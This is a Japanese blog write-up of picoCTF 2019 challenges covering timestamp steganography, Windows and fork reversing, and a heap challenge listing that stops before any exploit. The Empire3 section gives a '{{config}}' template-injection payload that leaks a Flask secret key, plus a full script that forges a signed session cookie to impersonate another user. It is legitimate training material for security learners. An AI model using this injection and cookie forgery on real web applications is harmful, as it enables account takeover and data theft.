好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

picoCTF2019 500pt問題のwrite-up

中高生向けのCTF、picoCTF 2019 の write-up です。他の得点帯の write-up へのリンクはこちらを参照。

kusuwada.hatenablog.com

[Forensics] B1g_Mac (500pt)

Here's a zip file. You can also find the file in /problems/b1g-mac_0_ac4b0dbedcd3b0f0097a5f056e04f97

b1g_mac.zipというファイルが配布されます。

$ unzip b1g_mac.zip 
Archive:  b1g_mac.zip
  inflating: main.exe                
   creating: test/
  inflating: test/Item01 - Copy.bmp  
  inflating: test/Item01.bmp         
  inflating: test/Item02 - Copy.bmp  
  inflating: test/Item02.bmp         
  inflating: test/Item03 - Copy.bmp  
  inflating: test/Item03.bmp         
  inflating: test/Item04 - Copy.bmp  
  inflating: test/Item04.bmp         
  inflating: test/Item05 - Copy.bmp  
  inflating: test/Item05.bmp         
  inflating: test/Item06 - Copy.bmp  
  inflating: test/Item06.bmp         
  inflating: test/Item07 - Copy.bmp  
  inflating: test/Item07.bmp         
  inflating: test/Item08 - Copy.bmp  
  inflating: test/Item08.bmp         
  inflating: test/ItemTest - Copy.bmp  
  inflating: test/ItemTest.bmp

うぉー、exeファイルが出てきた…。windows環境ないしどうしようかなぁ…。
と、droid3に引き続き、雑にghidraに投げてみました。

f:id:kusuwada:20200228141736p:plain

使用されている主要な関数を抜き出してみます。ちょっと長いですが、気合を入れて読んでみます。アセンブリを読むよりは10000000倍マシ。

int main(int _Argc, char **_Argv, char **_Env) {
  undefined4 local_60;
  undefined buf_flag [50];
  undefined4 local_28;
  undefined4 local_24;
  undefined4 local_20;
  size_t data_num;
  FILE *file_flag;
  int is_decode;
  
  ___main();
  _isOver = 0;
  local_28 = 0x65742f2e;  // et/.
  local_24 = 0x7473;  // ts
  local_20 = 0;
  _folderName = &local_28;  // ./test
  is_decode = 0;
  _pLevel = 0;
  file_flag = .text("flag.txt","r");
  if (file_flag == (FILE *)0x0) {
    .text("No flag found, please make sure this is run on the server");
  }
  data_num = .text(buf_flag,1,0x12,file_flag);  // 0x12 = 18
  if ((int)data_num < 1) {
                    /* WARNING: Subroutine does not return */
    .text(0);
  }
  _flag = buf_flag;
  _flag_size = 0x12;  // 18
  local_60 = 0;
  _flag_index = &local_60;
  .text("Work is done!");
  _listdir(is_decode,_folderName);  // メイン処理
  .text("Wait for 5 seconds to exit.");
  _sleep(5);
  return 2;
}

void _listdir(int is_decode, undefined4 dirName) {
  int iVar1;
  BOOL result;
  char search_dirName [2048];
  _WIN32_FIND_DATAA fileNames;
  HANDLE file_target;
  bool is_continue;
  int is_operate;
  
  file_target = (HANDLE)0x0;
  .text(search_dirName,"%s\\*.*",dirName);
  file_target = FindFirstFileA(search_dirName,(LPWIN32_FIND_DATAA)&fileNames);
  if (file_target == (HANDLE)0xffffffff) {
    .text("Path not found: [%s]\n",dirName);
  }
  else {
    is_operate = 1;
    is_continue = true;
    while (is_continue != false) {
      iVar1 = .text(fileNames.cFileName,".");
      if ((iVar1 != 0) && (iVar1 = .text(fileNames.cFileName,".."), iVar1 != 0)) {
        .text(search_dirName,"%s\\%s",dirName,fileNames.cFileName);
        if ((fileNames.dwFileAttributes & 0x10) == 0) {
          if (is_operate == 1) {
            if (is_decode == 0) {
              _hideInFile(search_dirName);
            }
            else {
              if (is_decode == 1) {
                _decodeBytes(search_dirName);
              }
            }
          }
          is_operate = 1 - i;
        }
        else {
          .text("Folder: %s\n",search_dirName);
          _listdir(is_decode,search_dirName);
        }
      }
      if (_isOver != '\0') break;
      result = FindNextFileA(file_target,(LPWIN32_FIND_DATAA)&fileNames);
      is_continue = result != 0;
    }
    FindClose(file_target);
  }
  return;
}

void __cdecl _hideInFile(LPCSTR fileName) {
  BOOL result;
  // FILETIME: Contains a 64-bit value representing the number of 100-nanosecond intervals since January 1, 1601 (UTC).
  _FILETIME lastWriteTime;
  _FILETIME lastAccessTime;
  _FILETIME creationTime;
  char char2;
  char char1;
  HANDLE targetFile;
  
  // CreateFileA(lpFileName, dwDesiredAccess, dwShareMode,
  //             lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes,
  //             hTemplateFile)
  targetFile = CreateFileA(fileName, FILE_WRITE_ATTRIBUTES, 0,  (LPSECURITY_ATTRIBUTES)0x0, OPEN_EXISTING, 0, (HANDLE)0x0);
  .text(targetFile);
  if (targetFile == (HANDLE)0xffffffff) {
    .text("Error:INVALID_HANDLED_VALUE");
  }
  else {
    // GetFileTime(hFile, lpCreationTime, lpLastAccessTime, lpLastWriteTime)
    result = GetFileTime(targetFile,(LPFILETIME)&creationTime,(LPFILETIME)&lastAccessTime,(LPFILETIME)&lastWriteTime);
    if (result == 0) {
      .text("Error: C-GFT-01");
    }
    else {
      char1 = *(char *)(*_flag_index + _flag);
      *_flag_index = *_flag_index + 1;
      char2 = *(char *)(*_flag_index + _flag);
      *_flag_index = *_flag_index + 1;
      _encodeBytes(char1,char2,(uint *)&lastWriteTime);
      if (0 < _pLevel) {
        char1 = *(char *)(*_flag_index + _flag);
        *_flag_index = *_flag_index + 1;
        char2 = *(char *)(*_flag_index + _flag);
        *_flag_index = *_flag_index + 1;
        _encodeBytes(char1,char2,(uint *)&creationTime);
      }
      if (_pLevel == 2) {
        char1 = *(char *)(*_flag_index + _flag);
        *_flag_index = *_flag_index + 1;
        char2 = *(char *)(*_flag_index + _flag);
        *_flag_index = *_flag_index + 1;
        _encodeBytes(char1,char2,(uint *)&lastAccessTime);
      }
      result = SetFileTime(targetFile,(FILETIME *)&creationTime,(FILETIME *)&lastAccessTime,(FILETIME *)&lastWriteTime
                         );
      if (result == 0) {
        .text("Error: C-SFT-01");
      }
      else {
        if (_flag_size <= *_flag_index) {
          _isOver = 1;
        }
        CloseHandle(targetFile);
      }
    }
  }
  return;
}

void __cdecl _encodeBytes(char param_1, char param_2, uint *param_3) {
  *param_3 = (*param_3 & 0xffff0000) + (int)param_2 + (int)param_1 * 0x100;
  return;
}

void __cdecl _decodeBytes(LPCSTR fileName) {
  BOOL result;
  int level;
  undefined local_40 [12];
  _FILETIME lastWriteTime;
  _FILETIME lastAccessTime;
  _FILETIME creationTime [2];
  HANDLE targetFile;
  int i;
  
  // CreateFileA(lpFileName, dwDesiredAccess, dwShareMode,
  //             lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes,
  //             hTemplateFile)
  targetFile = CreateFileA(fileName, FILE_READ_ATTRIBUTES, 0, (LPSECURITY_ATTRIBUTES)0x0, OPEN_EXISTING, 0, (HANDLE)0x0);
  .text(targetFile);
  if (targetFile == (HANDLE)0xffffffff) {
    .text("error loading the file");
  }
  else {
    // GetFileTime(hFile, lpCreationTime, lpLastAccessTime, lpLastWriteTime)
    result = GetFileTime(targetFile,(LPFILETIME)creationTime,(LPFILETIME)&lastAccessTime,(LPFILETIME)&lastWriteTime);
    if (result == 0) {
      .text("error getting the times of the file");
    }
    else {
      level = _pLevel + 1;
      i = 0;
      while ((i < level * 2 && (*_buff_index < _buff_size))) {
        *(undefined *)(_buff + *_buff_index) = local_40[i];
        *_buff_index = *_buff_index + 1;
        i = i + 1;
      }
      if (_buff_size <= *_buff_index) {
        _isOver = 1;
      }
    }
  }
  return;
}

何度か出てくる windows の関数はこちらのサイトで調べました。
Programming reference for the Win32 API - Win32 apps | Microsoft Docs

ざっと見た感じ、flagは18文字。
main関数からlistdir関数が呼ばれ、is_decode変数が0で渡された時はhideInFile関数を、1で渡された時はdecodeBytes関数を呼びます。
この実行ファイルの中では、常にis_decode変数が0なので、encodeをする処理しか動きません。また、_pLevel0で固定なので、_hideInFile関数の処理で使われているのはlastWriteTimeを使った一番上の処理のみです。

ということで、flagが二文字ずつ下の関数に渡され、

void __cdecl _encodeBytes(char param_1, char param_2, uint *param_3) {
  *param_3 = (*param_3 & 0xffff0000) + (int)param_2 + (int)param_1 * 0x100;
  return;
}

加工されてlastWriteTimeに埋め込まれているようです。どのファイルが対象かわからなかったので、配布されたファイル全部をチェックします。

最初は os.path.getctime(filename) を使ってunixtimeでファイルの作成・最終アクセス・更新日時を取得していましたが、WindowsのFILETIMEは単位が100-nanosecondなのに対して、os.path.getctime()で取得できる単位は秒のUNIXTIMEなので、下位バイトの情報が落ちてしまっています。
更に、float <-> int の間の変換でも精度が落ちてしまいます…。

困ったなーっとググっているとこんなのを発見。

Getting last change time in Python on Windows - Stack Overflow

ctypesを使っていい感じにFILETIMEを取ってこれる関数があるみたい!調べてみると、windows上でしか動かないみたい。WindowsAPIを使用するならそれはそうか。

ここまで結構サクサク来れたのでノリノリだったのですが、Windows環境を用意する腹をくくるのに時間がかかりました。最初は夫のWindowsマシンを借りてやるか!と思いましたが、夫&PC不在で借りれず。悩んだ結果、今回はWindowsVMを使ってみることに。

最終的なコードはこちら。

#!/usr/bin/env python3
# -*- coding:utf-8 -*

# reference below
# https://stackoverflow.com/questions/38508351/getting-last-change-time-in-python-on-windows
from ctypes import windll, Structure, byref
from ctypes.wintypes import LPWSTR, DWORD, FILETIME

class WIN32_FILE_ATTRIBUTE_DATA(Structure):
    _fields_ = [("dwFileAttributes", DWORD),
                ("ftCreationTime", FILETIME),
                ("ftLastAccessTime", FILETIME),
                ("ftLastWriteTime", FILETIME),
                ("nFileSizeHigh", DWORD),
                ("nFileSizeLow", DWORD)]

def get_winfiletime(filename):
    wfad = WIN32_FILE_ATTRIBUTE_DATA()
    GetFileExInfoStandard = 0
    windll.kernel32.GetFileAttributesExW(LPWSTR(filename), GetFileExInfoStandard, byref(wfad))
    lowtime = wfad.ftLastWriteTime.dwLowDateTime
    hightime = wfad.ftLastWriteTime.dwHighDateTime
    filetime = (hightime << 32) + lowtime
    return filetime

def decodeBytes(value):
    print(chr((value & 0xff00) // 0x100))  # param1
    print(chr(value & 0xff))               # param2
    return chr((value & 0xff00) // 0x100), chr(value & 0xff)

flag = ''
for i in range(9):
    filenum = '0' + str(i+1)
    if i==8:
        filenum = 'Test'

    """ it's not flag.
    filename = './test/Item' + filenum + '.bmp'
    print(filename)
    ord_wtime = get_winfiletime(filename)
    print('original w: ' + str(ord_wtime))
    decodeBytes(int(ord_wtime))
    """
    
    filename_copy = './test/Item' + filenum + ' - Copy.bmp'
    cpy_wtime = get_winfiletime(filename_copy)
    print('copy     w: ' + str(cpy_wtime))
    c1, c2 = decodeBytes(int(cpy_wtime))
    flag += c1 + c2

print(flag)

実行結果(on Windows VM)

>python solve.py
copy     w: 131980296080027753
p
i
copy     w: 131980296340005743
c
o
copy     w: 131980296509997908
C
T
copy     w: 131980296730003067
F
{
copy     w: 131980296889978164
M
4
copy     w: 131980298579960660
c
T
copy     w: 131980298870024557
i
m
copy     w: 131980299550012213
3
5
copy     w: 131980329319997821
!
}
picoCTF{M4cTim35!}

unzipやwinのここに展開で解凍すると、作成・閲覧・変更日時がずれてしまうのかうまくいきませんでした。幾つか解凍ツールを試しましたが、win上で7zipで解凍すると上記のflagが出てくる日時になりました。

ところでなんでタイトルBigMacだったんですかね??

[Reversing] B1ll_Gat35 (400pt)

Can you reverse this Windows Binary?

Hints

ビルゲイツ問題。これはwindowsだからビルゲイツかな?
実行ファイルwin-exec-1.exeが配布されます。

何かのReversing問題450点くらいのを解いたあとに出てきていて、「Windowsかー」「しかも400点問題が増えちゃったなー」と後回しにしていたのですが、先に上の B1g_Mac を解いたので、シリーズものっぽいし、Windows繋がりの勢いで手を付けてみました。400pt問題ですがこっちの記事に書いちゃいます。

こっちのヒントを先に読んでおけばよかった…。WindowsVMの案内もあります。

まずはB1g_Mac同様、ghidraにdecompileしてもらいました。

f:id:kusuwada:20200228141916p:plain

今回は大きいのか、解析に時間が少しかかりました。decompile結果、読めなくはないんですけどつらそう。関数がたくさんある & GOTO多め & アドレス指定の変数が多い。

いったんこの路線は諦めて、せっかく構築したWindows環境で実行してみます。

Input a number between 1 and 5 digits: 1
Initializing...
Enter the correct key to get the access codes: 

keyが必要みたい。

Hintsで紹介されている、Windowsのバイナリ解析ツール、OllyDbgを試してみます。サイトからDLして展開したらEXEファイルが出てくるので、これを実行するだけ。

f:id:kusuwada:20200228141947p:plain

立ち上げて対象の実行ファイルを食わせたら、画面左下に早速アヤシイ文字列が出てきました。ちなみにこの情報は、別に下記コマンドでも得られる。

$ strings win-exec-1.exe | grep PICO -n8
1709-#.X'=
1710-i9+=
1711-RSDS
1712-C:\Users\abush\Desktop\pico-win-problems\win-exec-1.pdb
1713-%llu
1714-The key is: 
1715-%s%s
1716-%llu
1717:PICOCTF{These are the access codes to the vault: 
1718-%s%s%s
1719-Input a number between 1 and 5 digits: 
1720-Number too big. Try again.
1721-Initializing...
1722-Enter the correct key to get the access codes: 
1723-Incorrect key. Try again.
1724-Correct input. Printing flag: 
1725-

PICOCTF{から始まる文字列があったので色めきだったけど、まだflagじゃなかった。この文字列で大体流れがつかめます。

実行していくと、きっと These are the access codes to the vault: の先の %s%s%s の値が埋まって出てくるに違いない。
OllyDbgの使い方は CTFの過去問を解いてOllyDbgの使い方を覚える。 - kira924ageの雑記帳 この記事なんかがやりたいことと一致していてわかりやすかったです。もちろん公式ドキュメント見るのが良いんでしょうけど。
トリコロールな猫さんのサイトでも優しく紹介されていました。ちょっと古いけど。第零話:まずは動かしてみる 〜ブレイクポイントとステップ実行〜|トリコロールな猫|note

画面は

  • 左上: コード
  • 左下: データ
  • 右上: レジスタ
  • 右下: スタック

の構成。メニューバーの青い三角を押すと、Debugを開始してくれるので、とにかく押してみました。ウィンドウが立ち上がって、Debugが開始されます。この時点でデータやスタックを眺めてみますが特にアヤシイ変化なし。

最初のInput a number between 1 and 5 digits:の入力に適当に1を入れてみます。すると、データの領域の下の方にこんな文字列が現れました。

f:id:kusuwada:20200228145005p:plain

00A7C280  54 68 65 20 6B 65 79 20  The key
00A7C288  69 73 3A 20 34 32 35 33  is: 4253
00A7C290  33 36 30 00              360.

お!keyかな?
4253360Enter the correct key to get the access codes:のあとに入れてみました。

f:id:kusuwada:20200228145038p:plain

違うみたいです。でも絶対これだと思うんだよなー!ということで、Debuggerをrestartして、今度はここでThe key is: 4253360を入れてみました。

f:id:kusuwada:20200228145056p:plain

フラグゲット٩(๑❛ᴗ❛๑)尸
Windows問題は食わず嫌いしてたけど、これくらいの問題で500点取れるならやるべき…!まぁ解けるまで難易度はわからないんだけども…。

[Web] Empire3 (500pt)

Agent 513! One of your dastardly colleagues is laughing very sinisterly! Can you access his todo list and discover his nefarious plans? https://2019shell1.picoctf.com/problem/45132/ (link) or http://2019shell1.picoctf.com:45132

指定されたリンクに行くと、見慣れたtop画面に飛びます。

f:id:kusuwada:20200228145154p:plain

Empire2の続きのようなので、2でやった手順を試してみます。

Register,Loginし、Create Todo で{{config}}を入れると、今回もちゃんと刺さります。

Config
{ 
   'ENV':'production',
   'DEBUG':False,
   'TESTING':False,
   'PROPAGATE_EXCEPTIONS':None,
   'PRESERVE_CONTEXT_ON_EXCEPTION':None,
   'SECRET_KEY':'9806d62bb5f4986c09a3872abf448e85',
   'PERMANENT_SESSION_LIFETIME':datetime.timedelta(31),
   'USE_X_SENDFILE':False,
   'SERVER_NAME':None,
   'APPLICATION_ROOT':'/',
   'SESSION_COOKIE_NAME':'session',
   'SESSION_COOKIE_DOMAIN':False,
   'SESSION_COOKIE_PATH':None,
   'SESSION_COOKIE_HTTPONLY':True,
   'SESSION_COOKIE_SECURE':False,
   'SESSION_COOKIE_SAMESITE':None,
   'SESSION_REFRESH_EACH_REQUEST':True,
   'MAX_CONTENT_LENGTH':None,
   'SEND_FILE_MAX_AGE_DEFAULT':datetime.timedelta(0, 43200),
   'TRAP_BAD_REQUEST_ERRORS':None,
   'TRAP_HTTP_EXCEPTIONS':False,
   'EXPLAIN_TEMPLATE_LOADING':False,
   'PREFERRED_URL_SCHEME':'http',
   'JSON_AS_ASCII':True,
   'JSON_SORT_KEYS':True,
   'JSONIFY_PRETTYPRINT_REGULAR':False,
   'JSONIFY_MIMETYPE':'application/json',
   'TEMPLATES_AUTO_RELOAD':None,
   'MAX_COOKIE_SIZE':4093,
   'SQLALCHEMY_DATABASE_URI':'sqlite://',
   'SQLALCHEMY_TRACK_MODIFICATIONS':False,
   'SQLALCHEMY_BINDS':None,
   'SQLALCHEMY_NATIVE_UNICODE':None,
   'SQLALCHEMY_ECHO':False,
   'SQLALCHEMY_RECORD_QUERIES':None,
   'SQLALCHEMY_POOL_SIZE':None,
   'SQLALCHEMY_POOL_TIMEOUT':None,
   'SQLALCHEMY_POOL_RECYCLE':None,
   'SQLALCHEMY_MAX_OVERFLOW':None,
   'SQLALCHEMY_COMMIT_ON_TEARDOWN':False,
   'SQLALCHEMY_ENGINE_OPTIONS':{ 

   },
   'BOOTSTRAP_USE_MINIFIED':True,
   'BOOTSTRAP_CDN_FORCE_SSL':False,
   'BOOTSTRAP_QUERYSTRING_REVVING':True,
   'BOOTSTRAP_SERVE_LOCAL':False,
   'BOOTSTRAP_LOCAL_SUBDOMAIN':None
}

今回もSECRET_KEYが表示されました。同様にsessionを復元できそう。
Empire2と同じスクリプトで、自分のsession(cookieに保存されている)を復元してみます。

$ python solve.py 
{'_fresh': True, '_id': '3e2eddced0d11e1ac096fae48e0041b335d51997d34d0d14d925ca405eb975deda640ff08f0ffb38e83ea8396c28589cd101135b1e7ff715f611af842dad8fbd', 'csrf_token': '0678af51d58f1a449b33ea54300a755e861afaf4', 'user_id': '3'}

復号には成功しましたが、今回はこの中にflagはなさそうです。そういえば問題文でも、他人のTODOにアクセスするっぽいことを言っています。

今度は、またpicoCTF2018のFlaskcards and Freedomと同じですが、sessionを書き換えて他人のふりしてTODOを見ることを考えます。

user_id3なので、すでにいるっぽい12を試してみます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# this code is refer to bellow site
#   https://qiita.com/koki-sato/items/6ff94197cf96d50b5d8f#flask-%E3%81%AE%E3%82%BB%E3%83%83%E3%82%B7%E3%83%A7%E3%83%B3%E6%94%B9%E3%81%96%E3%82%93

import zlib
from flask.sessions import SecureCookieSessionInterface
from itsdangerous import base64_decode, URLSafeTimedSerializer

secret_key = '9806d62bb5f4986c09a3872abf448e85'
cookie = '.eJwtj0GKAzEMBP_icw7SSLLlfGaQLYkNgV2YSU4hf48De-lTFVS_yp5HnD_l-jiecSn7zcu1UGzhPsPBEQNtQq9pwRoAjINIXLD35sRfhL1vMo1BYvQmHm6VIRM01w7SUApT6nVuKtqnIyCSDIyW2VCyIloqb26uObxcyjyP3B9_9_hdPVCbWgq6aKIx95UQJkwA1kRC69IteXnPM47_E-X9ATA6P88.XgSpPw.buNO5zG5517aCne-Xfh8Cp-Ff_0'

class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface):
    # NOTE: Override method
    def get_signing_serializer(self, secret_key):
        signer_kwargs = {
            'key_derivation': self.key_derivation,
            'digest_method': self.digest_method
        }
        return URLSafeTimedSerializer(
            secret_key,
            salt=self.salt,
            serializer=self.serializer,
            signer_kwargs=signer_kwargs
        )

class FlaskSessionCookieManager:
    @classmethod
    def decode(cls, secret_key, cookie):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.loads(cookie)

    @classmethod
    def encode(cls, secret_key, session):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.dumps(session)

# main
user_session = FlaskSessionCookieManager.decode(secret_key, cookie)
print(user_session)
admin_session = user_session
admin_session['user_id'] = '2'  # ここで書き換え
print(admin_session)
admin_cookie = FlaskSessionCookieManager.encode(secret_key, admin_session)
print(admin_cookie)

実行結果

$ python solve.py 
{'_fresh': True, '_id': '3e2eddced0d11e1ac096fae48e0041b335d51997d34d0d14d925ca405eb975deda640ff08f0ffb38e83ea8396c28589cd101135b1e7ff715f611af842dad8fbd', 'csrf_token': '0678af51d58f1a449b33ea54300a755e861afaf4', 'user_id': '3'}
{'_fresh': True, '_id': '3e2eddced0d11e1ac096fae48e0041b335d51997d34d0d14d925ca405eb975deda640ff08f0ffb38e83ea8396c28589cd101135b1e7ff715f611af842dad8fbd', 'csrf_token': '0678af51d58f1a449b33ea54300a755e861afaf4', 'user_id': '2'}
.eJwlj0FqQzEMBe_idRaSJdlyLvORLYmGQAv_J6vSu9elm7eagXnf5cgzro9yf53vuJXj4eVeKGq4r3BwxEBbMFpasAYA4yQSFxyjO_Efwj6qLGOQmKOLh1tjyATNvZM0lMKURltVRcdyBESSidEzO0o2REvl6uaa08utrOvM4_X1jM_dA62rpaCLJhrz2AlhwgRgXSS0bd2St_e-4vw_UcvPLzA3P84.XgSsGw.WGsEecfuxzvLDkLx30m3TPMmSL4

最後の書き換え後のsessionで書き換えてYour Todosタブを再度読み込むと、そのユーザーのTODOが見えました!ちなみに、user_id:1のユーザーはこちら

f:id:kusuwada:20200228145246p:plain

意味あるものはなさそう。

user_id:2のユーザーのTODOはこちら

f:id:kusuwada:20200228145303p:plain

flag発見!( ✧Д✧)
Empireシリーズは、1が思いつけば2,3はわりとすぐ解けた気がするなぁ。無念。

[Reversing] Forky (500pt)

In this program, identify the last integer value that is passed as parameter to the function doNothing(). The binary is also found in /problems/forky_6_ca672d992b613323ffc1920706557d0b on the shell server.

Hints

What happens when you fork? The flag is picoCTF{IntegerYouFound}. For example, if you found that the last integer passed was 1234, the flag would be picoCTF{1234}

ヒントからして、flagは定形フォーマットじゃないようです。

実行ファイルvulnが配布されます。早速ghidraで解析してもらいます。

f:id:kusuwada:20200228145402p:plain

undefined4 main(void) {
  int *piVar1;
  
  piVar1 = (int *)mmap((void *)0x0,4,3,0x21,-1,0);
  *piVar1 = 1000000000;
  fork();
  fork();
  fork();
  fork();
  *piVar1 = *piVar1 + 0x499602d2;
  doNothing(*piVar1);
  return 0;
}

void doNothing(void) {
  __x86.get_pc_thunk.ax();
  return;
}

forkは子プロセスを生成する関数なので、子プロセスが4回生成されます。Man page of FORK 参照。

そのままの実行ファイルでは、doNothing()で何もしないのでわかりませんが、おそらく最後にdoNothingに渡されるpiVar1の値がflagになりそう。

殆どghidraでc言語になっているので、doNothing関数でpiVar1の値を出力するようにし、linux上でコンパイル、実行してみました。

ソース

#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>

void doNothing(int val) {
  printf("%d\n", val);
  return;
}

int main(void) {
  int *piVar1;
  
  piVar1 = (int *)mmap((void *)0x0,4,3,0x21,-1,0);
  *piVar1 = 1000000000;
  fork();
  fork();
  fork();
  fork();
  *piVar1 = *piVar1 + 0x499602d2;
  doNothing(*piVar1);
  return 0;
}

コンパイル

$ gcc -m64 solve.c -o solve

実行

$ ./solve 
-2060399406
-825831516
408736374
1643304264
-1417095142
-182527252
1052040638
-2008358768
-773790878
1695344902
460777012
-1365054504
-130486614
-1956318130
1104081276
-721750240

forkでは、現在のプロセスを複製するそうなので複製されたプロセス全部でdoNothingが呼ばれます。最後の状態かな?ということで picoCTF{-721750240} を入れると通りました٩(๑❛ᴗ❛๑)۶ 

でも500pt問題でこの解き方は想定解だったのだろうか?

[Binary] Ghost_Diary (500pt)

Try writing in this ghost diary. Its also found in /problems/ghost-diary_3_ef159a8a880a083c73a2bb724fc0bfcb on the shell server.

確か最初からOpenしている500pt問題。ちょっと挑んでみて時間がかかりそうだったので後回しにしていました。

実行ファイル ghostdiary が配布されます。指定のpicoCTFのshell serverに行ってみるとflag.txtが置いてあるので、最終的にはpicoCTFのshell上で実行するようです。

アーキテクチャなどなど情報。

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

全部入り。RELROはFullじゃなくてPartialだけど。
glibc情報を調査。これいつもやるべきやつ。癖にしておきたい。

$ ldd ghostdiary
        linux-vdso.so.1 (0x00007ffe717c9000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f8b14812000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f8b14e06000)
$ strings /lib/x86_64-linux-gnu/libc.so.6 | grep GNU
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
Compiled by GNU CC version 7.3.0.

ということで、glibcのversionは2.27。このライブラリはlibc.so.6と同じ階層にありました。
動かしてみます。

$ ./ghostdiary 
-=-=-=[[Ghost Diary]]=-=-=-
1. New page in diary
2. Talk with ghost
3. Listen to ghost
4. Burn the page
5. Go to sleep

メニューを選んで diary を操作するようです。ちなみにshell server上にはghostdiary.cも置いてありましたが、権限無しで開けませんでした。シェルを取れば読めたらしいけど、読めなくなってたのは想定通りだったのかな?
ということで、picoCTFのBinary問題にしては珍しくソースコードなし。なんとしてもアセンブリを読むのを回避したいので、Ghidraでdecompileしてもらいました。いつもの通り、変数名は解読しながらちょっと変えたりコメント入れたりしています。大筋に影響なさそうな処理も消しています。

// entryから呼ばれている関数
undefined8 FUN_00100f87(void) {
  int result_getMenu;
  undefined4 menuInput;
  
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  alarm(0x3c);
  signal(0xe,FUN_00100f72);
  puts("-=-=-=[[Ghost Diary]]=-=-=-");
  do {
    show_menu();
    __isoc99_scanf(&DAT_0010119d,&menuInput);
    do {
      result_getMenu = getchar();
    } while (result_getMenu != 10);
    switch(menuInput) {
    default:
      puts("Invalid choice");
      break;
    case 1:  // 1. New page in diary
      create();
      break;
    case 2:  // 2. Talk with ghost
      talk();
      break;
    case 3:  // 3. Listen to ghost
      listen();
      break;
    case 4:  // 4. Burn the page
      burn();
      break;
    case 5:  // 5. Go to sleep
      puts("bye human!");
      return 0;
    }
  } while( true );
}

void show_menu(void) {
  puts("1. New page in diary");
  puts("2. Talk with ghost");
  puts("3. Listen to ghost");
  puts("4. Burn the page");
  puts("5. Go to sleep");
  printf("> ");
  return;
}

void create(void) {
  void *mallocedAddr;
  uint sizeInput;
  int createMenuInput;
  uint page_num;
  
  page_num = 0;
  while ((page_num < 0x14 && (*(long *)(&DAT_00302060 + (ulong)page_num * 0x10) != 0))) {
    page_num = page_num + 1;
  }
  if (page_num == 0x14) {  // 20
    puts("Buy new book");
  }
  else {
    puts("1. Write on one side?");
    puts("2. Write on both sides?");
    while( true ) {
      while( true ) {
        while( true ) {
          printf("> ");
          __isoc99_scanf(&DAT_0010119d,&createMenuInput);
          if (createMenuInput != 1) break;
          printf("size: ");
          __isoc99_scanf(&DAT_0010119d,&sizeInput);
          if (sizeInput < 0xf1) goto LAB_WRITE_ONE_SIDE;  // 241
          puts("too big to fit in a page");
        }
        if (createMenuInput != 2) goto LAB_NOT_MENU;
        printf("size: ");
        __isoc99_scanf(&DAT_0010119d,&sizeInput);
        if (0x10f < sizeInput) break;  // 271
        puts("don\'t waste pages -_-");
      }
      if (sizeInput < 0x1e1) break;  // 481
      puts("can you not write that much?");
    }
LAB_WRITE_ONE_SIDE:
    mallocedAddr = malloc((ulong)sizeInput);
    *(void **)(&DAT_00302060 + (ulong)page_num * 0x10) = mallocedAddr;
    if (*(long *)(&DAT_00302060 + (ulong)page_num * 0x10) == 0) {
      puts("oh noooooooo!! :(");
    }
    else {
      *(uint *)(&DAT_00302068 + (ulong)page_num * 0x10) = sizeInput;
      printf("page #%d\n",(ulong)page_num);
    }
  }
LAB_NOT_MENU:
  __stack_chk_fail();
}

void talk(void) {
  uint pageIndex;
  
  printf("Page: ");
  __isoc99_scanf(&DAT_0010119d,&pageIndex);
  printf("Content: ");
  if ((pageIndex < 0x14) && (*(long *)(&DAT_00302060 + (ulong)pageIndex * 0x10) != 0)) {
    readInput(*(undefined8 *)(&DAT_00302060 + (ulong)pageIndex * 0x10),
             (ulong)*(uint *)(&DAT_00302068 + (ulong)pageIndex * 0x10));
  }
  return;
}

void readInput(long targetAddr, uint maxSize) {
  ssize_t result_read;
  char c;
  uint index;
  
  index = 0;
  if (maxSize != 0) {
    while (index != maxSize) {
      result_read = read(0,&c,1);
      if (result_read != 1) {
        puts("read error");
        exit(-1);
      }
      if (c == '\n') break;
      *(char *)((ulong)index + targetAddr) = c;
      index = index + 1;
    }
    *(undefined *)(targetAddr + (ulong)index) = 0;
  }
  __stack_chk_fail();
}

void listen(void) {
  uint pageIndex;

  printf("Page: ");
  __isoc99_scanf(&DAT_0010119d,&pageIndex);
  printf("Content: ");
  if ((pageIndex < 0x14) && (*(long *)(&DAT_00302060 + (ulong)pageIndex * 0x10) != 0)) {
    puts(*(char **)(&DAT_00302060 + (ulong)pageIndex * 0x10));
  }
  return;
}

void burn(void) {
  long in_FS_OFFSET;
  uint pageIndex;
  
  printf("Page: ");
  __isoc99_scanf(&DAT_0010119d,&pageIndex);
  if ((pageIndex < 0x14) && (*(long *)(&DAT_00302060 + (ulong)pageIndex * 0x10) != 0)) {
    free(*(void **)(&DAT_00302060 + (ulong)pageIndex * 0x10));
    *(undefined8 *)(&DAT_00302060 + (ulong)pageIndex * 0x10) = 0;
  }
  return;
}

このコードをじっくり眺めて、怪しいところがないか探してみます。Binary問題にしては珍しく、ノーヒントです。

ちょっと書き方が複雑なcreateの処理が怪しい気がするなー。と思って、問題形式が似ている、今まで解いてきたヒープ系の問題のなにかに当たらないかじっくり見てみましたが、特に見つからなかった。
大概 create, update, delete のどこかに穴があるから、今回もそうかな?…まだBinary系問題はどこをとっかかりにして良いのかわからない…。やっぱりしばらく考えてもわからなかったので、他の方のwriteupを沢山読ませていただきました。
一つのwriteupを読んでいても、細かいわからないところがたくさん出てくるので、いつもこんな感じでBinaryの難しめの問題は沢山writeupを読みながら進めています。解法が同じじゃなかったりして厳しいこともありますが、そういうことか!という気づきも多いです。picoCTFは難しめの問題でも幾つかwritupが見つかるのが助かります。

